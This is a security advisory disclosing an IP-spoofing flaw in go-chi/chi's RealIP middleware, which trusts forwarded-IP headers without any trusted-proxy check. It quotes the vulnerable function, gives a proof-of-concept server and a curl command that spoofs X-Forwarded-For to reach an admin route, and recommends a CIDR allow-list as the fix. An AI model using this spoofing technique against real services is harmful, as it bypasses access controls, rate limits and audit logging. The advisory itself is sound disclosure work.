Skip to content

RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header

Moderate
VojtechVitek published GHSA-rjr7-jggh-pgcp May 22, 2026

Package

gomod https://github.com/go-chi/chi (Go)

Affected versions

<= 5.2.1

Patched versions

5.3.0

Description

Summary

realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls

Details

the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy

func realIP(r *http.Request) string {
    var ip string
    if tcip := r.Header.Get(trueClientIP); tcip != "" {
        ip = tcip  // controlled by attacker
    } else if xrip := r.Header.Get(xRealIP); xrip != "" {
        ip = xrip  // controlled by attacker
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")  // controlled by attacker
    }
    // ...
    return ip
}

no trusted proxy cidr check in place, any client can send these headers

PoC

create a server with chi and use realip middleware

package main

import (
    "fmt"
    "net/http"
    "github.com/go-chi/chi/v5"
    "github.com/go-chi/chi/v5/middleware"
)

func main() {
    r := chi.NewRouter()
    r.Use(middleware.RealIP)

    r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
        // ip-based access control got bypassed
        if r.RemoteAddr == "127.0.0.1" {
            w.Write([]byte("SECRET ADMIN DATA"))
            return
        }
        http.Error(w, "Forbidden", 403)
    })

    http.ListenAndServe(":8080", r)
}

spoofed the ip to bypass access control

curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin

Impact

  • ip-based access control bypass lets attackers reach restricted endpoints
  • rate limiting bypass lets attackers avoid limits by rotating spoofed ips
  • audit logs show fake ips picked by attacker instead of real ones
  • attackers can get around geo ip restrictions

Remediation Recommendation

validate proxy cidr first before trusting forwarded ip headers

// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
       {IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
    {IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
    {IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}

func isTrustedProxy(ip net.IP) bool {
    for _, cidr := range trustedProxies {
        if cidr.Contains(ip) {
            return true
        }
    }
    return false
}

Severity

Moderate

CVE ID

No known CVE

Weaknesses

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

Use of Less Trusted Source

The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack. Learn more on MITRE.

Credits